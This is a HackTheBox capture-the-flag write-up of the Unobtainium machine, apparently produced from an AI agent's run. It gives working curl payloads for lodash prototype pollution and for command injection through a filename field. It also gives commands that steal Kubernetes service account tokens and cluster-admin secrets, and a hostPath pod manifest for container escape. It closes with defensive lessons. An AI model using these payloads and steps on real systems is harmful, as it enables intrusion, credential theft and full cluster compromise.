HTB: Unobtainium Writeup
Unobtainium - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Unobtainium |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | felamos |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Unobtainium is a hard Linux machine that blends modern application security with Kubernetes cluster exploitation. The machine hosts an Electron-based chat application that can be downloaded and reverse-engineered to reveal hardcoded credentials and a vulnerable Node.js backend API. Initial foothold is achieved through a combination of prototype pollution in lodash’s _.merge() function and command injection in the deprecated google-cloudstorage-commands npm package. Once inside the Kubernetes pod environment, privilege escalation involves understanding Kubernetes RBAC (Role-Based Access Control), pivoting between namespaces, stealing service account tokens with escalating privileges, and finally creating a malicious pod with a hostPath volume mount to escape the container and access the host filesystem.
TL;DR: Download Electron app → Extract app.asar → Find creds felamos:Winter2021 → Exploit prototype pollution to set canUpload → Trigger command injection in /upload endpoint → Gain shell in webapp pod → Steal default:default SA token → Pivot to dev namespace pod → Steal dev:default SA token → List kube-system secrets → Extract c-admin-token (cluster-admin) → Create privileged pod with hostPath: / mount → Read root flag from host filesystem.
Reconnaissance
Port Scanning
# Full port scan to identify all open servicesnmap -p- --min-rate=1000 -T4 10.10.11.X
# Detailed service enumeration on discovered portsnmap -p22,80,8443,31337 -sC -sV 10.10.11.XResults:
- Port 22 – SSH (OpenSSH)
- Port 80 – Apache HTTP server hosting download page for Electron application
- Port 8443 – Kubernetes API server (k3s) running over HTTPS
- Port 31337 – Node.js API backend (returns empty JSON array
[])
Service Enumeration
Port 80 - Web Application
Browsing to http://10.10.11.X reveals a download page for “Unobtainium Chat Application” with packages available for multiple Linux distributions (.deb, .rpm, .snap).
# Download the Debian package for analysiswget http://10.10.11.X/downloads/unobtainium_debian.zipunzip unobtainium_debian.zipThe Electron application is packaged as a Debian installer, suggesting the attack surface involves client-side application reverse engineering.
Port 31337 - Node.js API
# Initial probe returns empty arraycurl http://10.10.11.X:31337/# Output: []This port serves a JSON API but requires further enumeration through the Electron app to understand available endpoints.
Port 8443 - Kubernetes API
# HTTPS probe reveals Kubernetes APIcurl -k https://10.10.11.X:8443/# Output: Unauthorized - requires authentication tokenThe presence of a Kubernetes API indicates the backend runs in a containerized cluster environment, which will be relevant for privilege escalation.
Vulnerability Assessment
- Hardcoded credentials in Electron application
- Prototype pollution vulnerability in Node.js API (lodash
_.merge) - Command injection in
google-cloudstorage-commandsnpm package - Kubernetes RBAC misconfiguration allowing lateral movement and privilege escalation
- Service account token disclosure enabling cluster-wide access
Initial Foothold
Electron Application Reverse Engineering
# Extract the Debian package (ar archive format)ar x unobtainium_1.0.0_amd64.deb
# Extract the data archivetar -xvf data.tar.xz
# Navigate to Electron resourcescd opt/unobtainium/resources/
# Install asar tool for extracting Electron app bundlesnpm install -g asar
# Extract the application source codeasar extract app.asar output/cd output/The package.json reveals the main entry point is index.js, and the application communicates with http://unobtainium.htb:31337.
# Add hostname to /etc/hostsecho "10.10.11.X unobtainium.htb" >> /etc/hostsAnalyzing JavaScript Source Code
# Review the Todo feature implementationcat src/js/todo.jsThe source reveals hardcoded credentials:
// Credentials found in todo.js{ "auth": { "name": "felamos", "password": "Winter2021" }, "filename": "todo.txt"}Key Discovery: The credentials felamos:Winter2021 are embedded in the client application and used for API authentication.
Retrieving Backend Source Code
Using the /todo endpoint to read arbitrary files from the API server’s working directory:
# Request to read index.js from the API servercurl http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "index.js"}'The response contains the full Node.js backend source code, revealing:
-
User array with two accounts:
felamos:Winter2021(standard user)adminwith random password andcanDelete,canUploadpermissions
-
Lodash
_.merge()usage inPUT /endpoint:_.merge(message, req.body.message, {...});This is vulnerable to prototype pollution via
__proto__injection. -
Upload endpoint at
POST /upload:app.post('/upload', (req, res) => {const user = findUser(req.body.auth || {});if (!user || !user.canUpload) {res.status(403).send({ok: false, error: 'Access denied'});return;}filename = req.body.filename;root.upload("./", filename, true);res.send({ok: true, Uploaded_File: filename});}); -
Deprecated npm package
google-cloudstorage-commandswith command injection vulnerability.
Prototype Pollution Exploitation
The _.merge() function in lodash can be exploited to pollute the prototype chain and add properties to objects. By injecting __proto__.canUpload = true, we can bypass the authorization check.
# Pollute the prototype to add canUpload permission to our usercurl --request PUT http://unobtainium.htb:31337 \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": { "text": "test", "__proto__": {"canUpload": true} } }'Why this works: The _.merge() function recursively merges objects, and when it encounters __proto__, it modifies the Object.prototype, effectively adding canUpload: true to all objects, including the felamos user object during subsequent requests.
Command Injection via google-cloudstorage-commands
The deprecated google-cloudstorage-commands package uses exec() without proper input sanitization:
// Vulnerable code in google-cloudstorage-commandsexec(`gsutil cp ${filename} gs://bucket/`, callback);By controlling the filename parameter, we can inject shell commands using & or ; operators.
However, the agent discovered that reverse shell egress was blocked by network filtering. The solution was to use blind command injection to write output to files within the working directory, then read them back via the /todo endpoint.
# Example: Write command output to a file (blind RCE pattern)curl --request POST http://unobtainium.htb:31337/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& whoami > output.txt" }'
# Read the output filecurl http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "output.txt" }'Why absolute paths are blocked: The /todo endpoint includes validation that prevents reading files outside the current directory (e.g., /etc/passwd returns empty), but relative filenames work.
Accessing User Flag
The agent performed blind enumeration and discovered that /root was accessible from the container (mounted as a hostPath volume from the Kubernetes host):
# Inject command to list /root directorycurl --request POST http://unobtainium.htb:31337/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& ls /root > root_listing.txt" }'
# Read the listingcurl http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "root_listing.txt" }'
# Extract user.txtcurl --request POST http://unobtainium.htb:31337/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& cat /root/user.txt > user_flag.txt" }'
# Read user flagcurl http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "user_flag.txt" }'User flag obtained: <redacted>
Privilege Escalation
Kubernetes Environment Enumeration
From the compromised webapp pod, the agent enumerated the Kubernetes environment:
# Service account token location (standard Kubernetes mount)# /run/secrets/kubernetes.io/serviceaccount/ca.crt# /run/secrets/kubernetes.io/serviceaccount/namespace
# Read namespacecat /run/secrets/kubernetes.io/serviceaccount/namespace# Output: default
# Read service account tokencat /run/secrets/kubernetes.io/serviceaccount/tokenEvery pod in Kubernetes has a service account token mounted automatically, which can be used to authenticate to the Kubernetes API server.
Testing API Access with default:default Token
# Export token for convenienceexport TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
# Query Kubernetes API to list namespacescurl -k -H "Authorization: Bearer $TOKEN" \ https://10.10.11.X:8443/api/v1/namespacesThe default:default service account has limited permissions but can list namespaces, revealing a dev namespace in addition to the standard default, kube-system, kube-public, and kube-node-lease.
Pivoting to dev Namespace
The agent discovered that the dev namespace also runs a similar Node.js application:
# Query Kubernetes API to list pods in dev namespacecurl -k -H "Authorization: Bearer $TOKEN" \ https://10.10.11.X:8443/api/v1/namespaces/dev/pods
# From the response, extract pod IP (e.g., 10.42.0.65)Kubernetes pod networking: Pods can communicate directly via their cluster IPs on the pod network (CNI).
Exploiting dev Pod via Internal IP
# From within the webapp pod, exploit the dev pod's API on its internal IP# Step 1: Prototype pollutioncurl --request PUT http://10.42.0.65:3000 \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": { "text": "test", "__proto__": {"canUpload": true} } }'
# Step 2: Command injection to exfiltrate the dev:default service account tokencurl --request POST http://10.42.0.65:3000/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& cat /run/secrets/kubernetes.io/serviceaccount/token > dev_token.txt" }'
# Step 3: Read the dev token via /todo endpointcurl http://10.42.0.65:3000/todo \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "dev_token.txt" }'dev:default token obtained: This service account has elevated privileges in the dev namespace and crucially has permissions in kube-system.
Enumerating kube-system Secrets
Using the dev:default token:
# Export the new tokenexport DEV_TOKEN="<dev-token-value>"
# List secrets in kube-system namespacecurl -k -H "Authorization: Bearer $DEV_TOKEN" \ https://10.10.11.X:8443/api/v1/namespaces/kube-system/secretsThe response includes multiple secrets, notably c-admin-token-b47f7, which is the service account token for a cluster administrator.
Extracting Cluster Admin Token
# Get specific secret detailscurl -k -H "Authorization: Bearer $DEV_TOKEN" \ https://10.10.11.X:8443/api/v1/namespaces/kube-system/secrets/c-admin-token-b47f7
# The response contains base64-encoded token and ca.crt# Decode token:echo "<base64-token>" | base64 -d > cluster-admin-token
# Decode ca.crt:echo "<base64-ca-crt>" | base64 -d > ca.crtVerifying Cluster Admin Permissions
# Test permissions with cluster-admin tokenexport ADMIN_TOKEN=$(cat cluster-admin-token)
# Check if we can create pods in kube-systemcurl -k -H "Authorization: Bearer $ADMIN_TOKEN" \ https://10.10.11.X:8443/api/v1/namespaces/kube-system/podsThe c-admin service account has full cluster-admin privileges (*.* [*] in RBAC terms), meaning it can perform any operation on any resource in any namespace.
Pod Escape via Privileged Container
To escape the container and access the host filesystem, the agent created a malicious pod with:
- hostPath volume mount – Mounts the host’s root filesystem (
/) into the container - Existing image – Uses
localhost:5000/dev-alpine(available in the cluster’s local registry) - Command to read root flag – Outputs
/host/root/root.txtto stdout
apiVersion: v1kind: Podmetadata: name: pwn-pod namespace: kube-systemspec: containers: - name: pwn image: localhost:5000/dev-alpine imagePullPolicy: Never command: ["/bin/sh"] args: ["-c", "cat /host/root/root.txt"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / hostNetwork: true automountServiceAccountToken: trueWhy this works:
- hostPath volume: Kubernetes allows mounting the host filesystem into a pod. When
path: /is mounted, the entire host filesystem becomes accessible inside the container at/host. - localhost:5000/dev-alpine: The cluster runs a local Docker registry at
localhost:5000. Using an image that already exists in the cluster bypasses the need for external image pulls (which would fail due to network restrictions). - Command execution: The pod runs a command on startup that reads the root flag and outputs it to stdout.
# Create the pod using kubectl or direct API callcurl -k -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -X POST \ https://10.10.11.X:8443/api/v1/namespaces/kube-system/pods \ -d @malicious-pod.yaml
# Wait for pod to run and retrieve logscurl -k -H "Authorization: Bearer $ADMIN_TOKEN" \ https://10.10.11.X:8443/api/v1/namespaces/kube-system/pods/pwn-pod/logThe pod logs contain the root flag.
Root flag obtained: <redacted>
Attack Chain Summary
Port 80 (Electron App) → Extract app.asar → Reverse Engineer JS ↓Hardcoded Creds (felamos:Winter2021) → API Authentication ↓Prototype Pollution (__proto__.canUpload) → Bypass /upload Authorization ↓Command Injection (google-cloudstorage-commands) → RCE in webapp Pod ↓Blind RCE + /todo Endpoint → Read /root/user.txt (hostPath mount) ↓Steal default:default Token → List Namespaces → Discover dev Namespace ↓Exploit dev Pod (10.42.0.65:3000) → Steal dev:default Token ↓List kube-system Secrets → Extract c-admin-token-b47f7 (Cluster Admin) ↓Create Privileged Pod (hostPath: /) → Read /host/root/root.txt ↓Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
wget / curl | Downloading files and API interaction |
ar | Extracting Debian package archives |
tar | Extracting compressed archives |
asar (npm) | Extracting Electron application bundles |
jq | JSON parsing and formatting |
base64 | Encoding/decoding credentials and tokens |
kubectl | Kubernetes cluster interaction (optional) |
Key Learnings
Techniques Practiced
- Electron application reverse engineering – Extracting and analyzing
.asararchives to discover hardcoded credentials and API endpoints - Prototype pollution exploitation – Leveraging JavaScript prototype chain manipulation to bypass authorization checks
- Command injection in deprecated packages – Exploiting unsanitized input in third-party npm modules
- Kubernetes RBAC enumeration – Understanding service account permissions and privilege boundaries
- Lateral movement in Kubernetes – Pivoting between pods and namespaces using internal networking
- Service account token theft – Extracting and using JWT tokens for API authentication
- Container escape via hostPath – Mounting the host filesystem to break out of container isolation
- Blind command execution – Executing commands without direct output and exfiltrating results via file writes
Lessons Learned
-
Client-side applications should never contain secrets – Electron apps bundle JavaScript in easily extractable formats. Hardcoded credentials in
app.asarare effectively public. -
Prototype pollution is a critical vulnerability in Node.js – When using functions like
_.merge(),Object.assign(), or manual property copying, always validate that__proto__,constructor, andprototypekeys are not user-controlled. -
Deprecated npm packages are dangerous – The
google-cloudstorage-commandspackage was deprecated in 2018 and contains command injection vulnerabilities. Always audit dependencies and avoid unmaintained packages. -
Kubernetes service accounts follow the principle of least privilege – The
default:defaultaccount had minimal permissions, but thedev:defaultaccount had excessive access tokube-systemsecrets, violating security best practices. -
hostPath volumes are extremely dangerous – Mounting the host filesystem into a container effectively breaks all isolation. This should only be used with extreme caution and never in multi-tenant environments.
-
Kubernetes RBAC misconfigurations enable privilege escalation – Allowing non-admin service accounts to read secrets in
kube-systemor create pods in privileged namespaces can lead to full cluster compromise. -
Network segmentation matters – The inability to establish reverse shells forced the use of blind command execution, demonstrating that egress filtering can slow (but not stop) determined attackers.
-
Token-based authentication requires secure storage – Service account tokens are powerful credentials. Their predictable mount locations (
/run/secrets/kubernetes.io/serviceaccount/) make them easy targets once a container is compromised.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory detail from the official HackTheBox writeup for Unobtainium (Document No. D21.101.136) by machine author felamos, particularly for understanding the prototype pollution mechanism, the specific lodash vulnerability, and Kubernetes RBAC escalation patterns.